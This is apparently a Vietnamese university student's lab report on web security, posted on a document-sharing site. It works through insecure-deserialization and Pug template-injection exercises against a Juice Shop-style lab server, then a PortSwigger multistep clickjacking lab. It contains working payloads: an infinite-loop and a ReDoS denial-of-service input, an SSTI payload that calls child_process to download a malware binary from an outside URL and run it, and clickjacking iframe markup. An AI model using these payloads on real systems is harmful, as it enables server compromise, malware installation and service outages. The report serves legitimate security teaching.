1. Trang chủ
  2. » Giáo Dục - Đào Tạo

Môn học an toàn Ứng dụng web và cơ sở dữ liệu bài báo cáo kết quả bài thực hành số 2 bài thực hành broken authentication and session management

28 2 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Bài Báo Cáo Kết Quả Bài Thực Hành Số 2 Bài Thực Hành Broken Authentication And Session Management
Tác giả Phạm Tiến Dũng
Người hướng dẫn Ninh Thị Thu Trang
Trường học Học Viện Công Nghệ Bưu Chính Viễn Thông
Chuyên ngành An Toàn Ứng Dụng Web Và Cơ Sở Dữ Liệu
Thể loại Bài báo cáo
Năm xuất bản 2024
Thành phố Hà Nội
Định dạng
Số trang 28
Dung lượng 3,22 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Nhiệm vụ 4: Cấu hình để sử dụng OWASP ZAP như proxyMục tiêu của nhiệm vụ này là cài đặt OWASP ZAP để hoạt động và cho phép bắt gói tin từ máy tính sinh viên trên trình duyệt web-xss.. Nh

Trang 1

HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG

KHOA AN TOÀN THÔNG TIN

MÔN HỌC : AN TOÀN ỨNG DỤNG WEB VÀ CƠ SỞ DỮ LIỆU

BÀI BÁO CÁO KẾT QUẢ BÀI THỰC HÀNH SỐ 2

Giảng viên : Ninh Thị Thu Trang

Họ và tên : Phạm Tiến Dũng

Mã sinh viên : B21DCAT070 Điện thoại : 0339174050

HÀ NỘI , THÁNG 10/ 2024

Trang 2

MỤC LỤC

Bài thực hành: Broken Authentication and Session Management 3

1 Mục đích 3

2 Yêu cầu đối với sinh viên: 3

3 Nội dung thực hành 3

4 Cấu hình mạng 3

Nhiệm vụ 1: Kiểm tra kết nối giữa 2 máy ảo được cung cấp 3

Nhiệm vụ 2: Mở trình duyệt web Firefox 4

Nhiệm vụ 3: Mở và cài đặt OWASP ZAP 5

Nhiệm vụ 4: Cấu hình để sử dụng OWASP ZAP như proxy 6

Nhiệm vụ 5: Truy cập các khu vực bị hạn chế 6

Nhiệm vụ 6: Remote Code Execution – Sử dụng POST và JSON 7

Nhiệm vụ 7: Remote Code Execution – sử dụng XML 13

Nhiệm vụ 8: Thực thi code bất kì 15

Bài thực hành: Multistep clickjacking 18

1 Mục đích 18

2 Cơ sở lý thuyết 18

3 Các bước thực hành 19

4 Tài liệu tham khảo 28

Trang 3

Bài thực hành: Broken Authentication and Session

Management

1 Mục đích

Rèn luyện kỹ năng khai thác lỗ hổng Insecure Deserialization

2 Yêu cầu đối với sinh viên:

Nắm được kiến thức về lỗ hổng Insecure Deserialization

• Máy student workstation (web-insdes) được cấu hình có địa chỉ ip

là 192.168.99.101, còn server (web-insdes-server) có địa chỉ ip là 192.168.99.100

Các nhiệm vụ

Nhiệm vụ 1: Kiểm tra kết nối giữa 2 máy ảo được cung cấp

- Sử dụng lệnh ping từ máy Student Workstation

ping 192.168.99.100

Trang 4

Nhiệm vụ 2: Mở trình duyệt web Firefox

• Ở terminal của máy student gõ lệnh

o firefox &

• Lệnh này sẽ khởi động firefox, sau đó mở địa chỉ ip của server:

o http://192.168.99.100:3000

Trang 5

Nhiệm vụ 3: Mở và cài đặt OWASP ZAP

• Ở terminal của máy student chạy lệnh sau

o owasp-zap &

Trang 6

Nhiệm vụ 4: Cấu hình để sử dụng OWASP ZAP như proxy

Mục tiêu của nhiệm vụ này là cài đặt OWASP ZAP để hoạt động và cho phép bắt gói tin

từ máy tính sinh viên trên trình duyệt web-xss Trong phần thiết lập của Firefox, cấu hình theo các bước sau đây:

• Trên Firefox của máy tính sinh viên, mở "Preferences"

• Trong cửa sổ tìm kiếm, gõ "proxy"

• Trong Cài đặt proxy mạng, chọn "Cài đặt"

• Chọn "Cấu hình proxy thủ công"

• Trong phần Proxy HTTP: sử dụng "127.0.0.1" và Cổng "8080"

• Cũng chọn "Sử dụng máy chủ proxy này cho tất cả các giao thức"

• Nhấp vào "ok" để chấp nhận các cài đặt

Nhiệm vụ 5: Truy cập các khu vực bị hạn chế

• Mục tiêu của nhiệm vụ này là để xem quyền truy cập nào được phép và để xác định liệu bạn có thể truy cập vào một phần bị hạn chế, nếu bạn truy cập được thì sẽ được phép làm bất cứ điều gì Theo OWASP WSTG-ATHZ-01, một trong những việc đầu tiên khi xem một trang web là xem bạn có quyền truy cập vào những URL và thư mục nào Tiến hành khảo sát trang web cơ bản sử dụng trình thu thập dữ liệu trang web là phương pháp ưa thích để thu thập dữ liệu trên trang web

• Ví dụ 1: Khảo sát trang web

Trang 7

• Phần sau đây sẽ cho phép OWASP Zap thu thập dữ liệu trang web để xác định xem đường dẫn nào có thể truy cập được.

o Mở OWASP Zap và thực hiện quét trang web trên địa chỉ IP: 192.168.99.100:3000

o Bạn có thấy bất kỳ liên kết nào đến các trang quản trị không?

o Vui lòng lưu kết quả quét của bạn từ OWASP Zap, lưu nó vào màn hình nền

và đặt tên cho nó “traversal.html” nếu traversal không phải là một tùy chọn, hãy lưu toàn bộ báo cáo

Nhiệm vụ 6: Remote Code Execution – Sử dụng POST và JSON

• Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi mã bằng cách sử dụng POST

và JSON Dựa theo OWASP WSTG 4.7.11.2 để kiểm tra các lỗ hổng bao gồm remote file và code inclusion File và Code inclusion cho phép kẻ tấn công chèn file

và đoạn code, thường khai thác tính năng “include tệp động” thực hiện trong ứng dụng mục tiêu Lỗ hổng xảy ra do việc sử dụng thông tin đầu vào do người dùng cung cấp mà không được xác thực hợp lệ

• Thực hiện các bước bên dưới để thực hiện thực thi mã từ xa

o Sau khi xem xét các URL được tìm thấy trong Nhiệm vụ 4, bạn sẽ tìm thấy API Swagger theo tài liệu được lưu trữ tại https://192.168.99.100:3000/api-docs mô tả API B2B

Trang 8

o API này cho phép POST các đơn hàng trong đó các dòng đơn hàng có thể được gửi dưới dạng JSON ( orderLines ) và còn dưới dạng Chuỗi ( orderLinesData ).

o Ví dụ đã cho về orderLinesDate chỉ ra rằng Chuỗi này có thể được phép chứa JSON tùy ý: [{"productId": 12,"quantity": 10000,"customerReference": ["PO0000001.2", "SM20180105|042"],"couponCode": "pes[Bh.u*t"}, ]

o Nhấp vào nút Try và không thay đổi bất cứ điều gì, nhấp vào Thực thi để xem API có hoạt động hay không và cách thức hoạt động Điều này sẽ khiến bạn gặp lỗi 401 Unauthorized

Trang 9

o Quay lại ứng dụng, đăng nhập với tư cách người dùng bất kỳ và sao chép Token của bạn từ Authorization Bearer header sử dụng DevTools của trình duyệt web.

Trang 10

o Quay lại https://192.168.99.100:3000/api-docs/#/Order/post_orders nhấp vào Authorize và paste Token vào form Value

Trang 11

\

o Nhấp vào Try và Execute để xem response 200 OK

Trang 12

o Quá trình insecure JSON deserialization sẽ thực thi bất kỳ lệnh gọi hàm nào được xác định trong chuỗiJSON, vì vậy tải trọng có thể có cho một cuộc tấn công DoS sẽ là một vòng lặp vô tận Thay code ví dụ với {"orderLinesData":

"(function dos() { while(true); })()"} trong trường Request Body Nhấp vào execute

Trang 13

o Máy chủ sẽ phản hồi với 200 OK sau khoảng 2 giây.

o Nếu yêu cầu của bạn tạo vòng lặp vô hạn thành công, thử thách sẽ được đánh dấu là giải quyết

Nhiệm vụ 7: Remote Code Execution – sử dụng XML

• Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi mã bằng XML

• Thực hiện các bước bên dưới để thực hiện thực thi mã từ xa

o Sau khi xem xét các URL được tìm thấy trong Nhiệm vụ 4, bạn sẽ tìm thấy API Swagger theo tài liệu được lưu trữ tại https://192.168.99.100:3000/api-docs mô tả API B2B

o API này cho phép POST các đơn hàng trong đó các dòng đơn hàng có thể được gửi dưới dạng JSON ( orderLines ) và còn dưới dạng Chuỗi ( orderLinesData )

o Ví dụ đã cho về orderLinesDate chỉ ra rằng Chuỗi này có thể được phép chứa JSON tùy ý: [{"productId": 12,"quantity": 10000,"customerReference": ["PO0000001.2", "SM20180105|042"],"couponCode": "pes[Bh.u*t"}, ]

o Nhấp vào nút Try và không thay đổi bất cứ điều gì, nhấp vào Thực thi để xem API có hoạt động hay không và cách thức hoạt động Điều này sẽ khiến bạn gặp lỗi 401 Unauthorized

Trang 14

o Quay lại ứng dụng, đăng nhập với tư cách người dùng bất kỳ và sao chép Token của bạn từ Authorization Bearer header sử dụng DevTools của trình duyệt web.

o Quay lại https://192.168.99.100:3000/api-docs/#/Order/post_orders nhấp vào Authorize và paste Token vào form Value

o Nhấp vào Try và Execute để xem response 200 OK

o Quá trình insecure JSON deserialization sẽ thực thi bất kỳ lệnh gọi hàm nào được xác định trong chuỗiJSON, vì vậy tải trọng có thể có cho một cuộc tấn công DoS sẽ là một vòng lặp vô tận Thay code ví dụ với {"orderLinesData":

"/((a+)+)b/.test('aaaaaaaaaaaaaaaaaaaaaaaaaaaaa')"} trong trường Request Body Nhấp vào execute Việc này sẽ kích hoạt biểu thức chính quy sau khi được thực thi

o Máy chủ cuối cùng sẽ phản hồi với trạng thái 503 Service Unavailable

Trang 15

Nhiệm vụ 8: Thực thi code bất kì

• Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi code tùy ý

• Sử dụng các bước được liệt kê bên dưới để thực thi mã tùy ý nhằm lây nhiễm phần mềm độc hại vào máy chủ

o Xem xét Nhiệm vụ 4.5 sẽ tiết lộ một thư mục con của ftp tại: https://192.168.99.100:3000/ftp/quarantine

Trang 16

o Mục tiêu của bạn là RCE để làm cho máy chủ tải xuống và thực thi phiên bản phần mềm độc hại cho hệ điều hành máy chủ, vì vậy trên Linux bạn có thể muốn chạy, hãy gõ lệnh sau:

malware https://github.com/J12934/juicymalware/blob/master/juicy_ma lware_linux_amd_64?raw=true && chmod +x malware && /malware

o Nhận ra rằng https://192.168.99.100:3000/profile không phải là Angular Có nghĩa là trang là được viết bằng Pug, đây là một Template engine và do đó hoàn toàn phù hợp với SSTI

o Đặt username của bạn thành 1+1 và nhấp vào Đặt tên người dùng Tên người dùng của bạn sẽ chỉ được hiển thị là 1+1 avatar

Trang 17

o Thử template Injection với Pug, đặt Tên người dùng thành #{1+1} và nhấp vào Đặt tên người dùng tên người dùng bây giờ sẽ được hiển thị là 2 dưới ảnh

hồ sơ!

Trang 18

• Tạo một payload sẽ lạm dụng việc thiếu đóng gói đối tượng global.process của JavaScript để tải động một thư viện cho phép bạn sinh ra một tiến trình trên máy chủ

mà sau đó sẽ tải xuống và thực thi phần mềm độc hại Payload sẽ giống như sau:

#{global.process.mainModule.require('child_process').exec ('wget -O malware https://github.com/J12934/juicymalware/blob/master/juicy_malware_linux_a md_64?raw=true && chmod +x malware && /malware')}

Bài thực hành: Multistep clickjacking

1 Mục đích

- Hiểu về cuộc tấn công Clickjacking và thực hành luyện tập tấn công Clickjacking

2 Cơ sở lý thuyết

- Clickjacking: Clickjacking là một tấn công nhắm vào giao diện người dùng Cuộc tấn

công này thực hiện bằng cách đánh lừa nạn nhân kích hoạt một hành vi độc hại nào đó thông qua việc click vào các nội dung mà được kẻ tấn công tạo nên

- CSRF token: Cross Site request forgery token là một mã được gắn với một trang web

chính thông nhằm mục đích ngăn các cuộc tấn công CSRF, nơi mà kẻ tấn công khai thác vào trình duyệt của người dùng, lừa người dùng thực hiện các hành vi mà người dùng không mong muốn

Trang 19

3 Các bước thực hành

- Bước 1: Sau khi truy cập bài lab, nhấn vào nút “Go to exploit Server”

Hình 1: Giao diện chính của bài Lab

Hình 2: Truy cập Go to exploit server để chỉnh sửa trang mồi

- Bước 2: Chèn một biểu mẫu css vào để tạo ra một hộp thoại giao diện nhằnm đánh lừa

người dùng

Trang 20

<div class="firstClick">Test me first</div>

<div class="secondClick">Test me next</div>

<iframe src=" https:// academy.net/my-account?id=wiener"></iframe>

Trang 21

0a1b007c04bccd6c803ab74a007400ad.web-security-Hình 3: Chèn một biểu mẫu css tại phần body

- Bước 3: Chọn Store -> View Point để kiểm tra biểu mẫu đã khớp với vị trí cần đặt hay chưa

Trang 22

Hình 4: Chọn View point để xem vị trí các nút

- Bước 4: Chỉnh lại vị trí của button Test me next bằng cách sửa đổi attributes top trong class first click

o Top: 500px

Trang 23

Hình 5: Chỉnh sửa lại top của first click

Trang 24

Hình 6: Vị trí của nút test me first đã khớp với nút Delete account

- Bước 5: Click vào nút Delete Account, để tham chiếu đến nút Test me next còn lại

Trang 25

Hình 7: Chọn View point để đối chiếu lại nút Test me next

- Bước 6: Sửa đổi thuộc tính top và left trong class secondlick, Chọn Store -> View

exploit

o Top: 290px

o Left: 200px

Trang 26

Hình 8: Sửa lại top và left của class second click(nút test me next)

Trang 27

Hình 9: Vị trí của nút test me next đã khớp với nút Yes

- Bước 7: Sửa đổi tên của 2 class thành Click me first và Click me second và sửa lại

opacity thành 0.00001 Sau đó chọn nút Deliver exploit to victim

Trang 28

Hình 10: Sửa lại tên nút thành Click me first và Click me second và opacity thành

0.0001

4 Tài liệu tham khảo

- [1]:https://portswigger.net/web-security/clickjacking/lab-multistep

Ngày đăng: 02/04/2025, 21:38

HÌNH ẢNH LIÊN QUAN

Hình 2: Truy cập Go to exploit server để chỉnh sửa trang mồi - Môn học  an toàn Ứng dụng web và cơ sở dữ liệu bài báo cáo kết quả bài thực hành số 2 bài thực hành broken authentication and session management
Hình 2 Truy cập Go to exploit server để chỉnh sửa trang mồi (Trang 19)
Hình 1: Giao diện chính của bài Lab - Môn học  an toàn Ứng dụng web và cơ sở dữ liệu bài báo cáo kết quả bài thực hành số 2 bài thực hành broken authentication and session management
Hình 1 Giao diện chính của bài Lab (Trang 19)
Hình 3: Chèn một biểu mẫu css tại phần body - Môn học  an toàn Ứng dụng web và cơ sở dữ liệu bài báo cáo kết quả bài thực hành số 2 bài thực hành broken authentication and session management
Hình 3 Chèn một biểu mẫu css tại phần body (Trang 21)
Hình 4: Chọn View point để xem vị trí các nút - Môn học  an toàn Ứng dụng web và cơ sở dữ liệu bài báo cáo kết quả bài thực hành số 2 bài thực hành broken authentication and session management
Hình 4 Chọn View point để xem vị trí các nút (Trang 22)
Hình 5: Chỉnh sửa lại top của first click - Môn học  an toàn Ứng dụng web và cơ sở dữ liệu bài báo cáo kết quả bài thực hành số 2 bài thực hành broken authentication and session management
Hình 5 Chỉnh sửa lại top của first click (Trang 23)
Hình 6: Vị trí của nút test me first đã khớp với nút Delete account - Môn học  an toàn Ứng dụng web và cơ sở dữ liệu bài báo cáo kết quả bài thực hành số 2 bài thực hành broken authentication and session management
Hình 6 Vị trí của nút test me first đã khớp với nút Delete account (Trang 24)
Hình 7: Chọn View point để đối chiếu lại nút Test me next - Môn học  an toàn Ứng dụng web và cơ sở dữ liệu bài báo cáo kết quả bài thực hành số 2 bài thực hành broken authentication and session management
Hình 7 Chọn View point để đối chiếu lại nút Test me next (Trang 25)
Hình 8: Sửa lại top và left của class second click(nút test me next) - Môn học  an toàn Ứng dụng web và cơ sở dữ liệu bài báo cáo kết quả bài thực hành số 2 bài thực hành broken authentication and session management
Hình 8 Sửa lại top và left của class second click(nút test me next) (Trang 26)
Hình 9: Vị trí của nút test me next đã khớp với nút Yes - Môn học  an toàn Ứng dụng web và cơ sở dữ liệu bài báo cáo kết quả bài thực hành số 2 bài thực hành broken authentication and session management
Hình 9 Vị trí của nút test me next đã khớp với nút Yes (Trang 27)
Hình 10: Sửa lại tên nút thành Click me first và Click me second và opacity thành - Môn học  an toàn Ứng dụng web và cơ sở dữ liệu bài báo cáo kết quả bài thực hành số 2 bài thực hành broken authentication and session management
Hình 10 Sửa lại tên nút thành Click me first và Click me second và opacity thành (Trang 28)

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

🧩 Sản phẩm bạn có thể quan tâm

w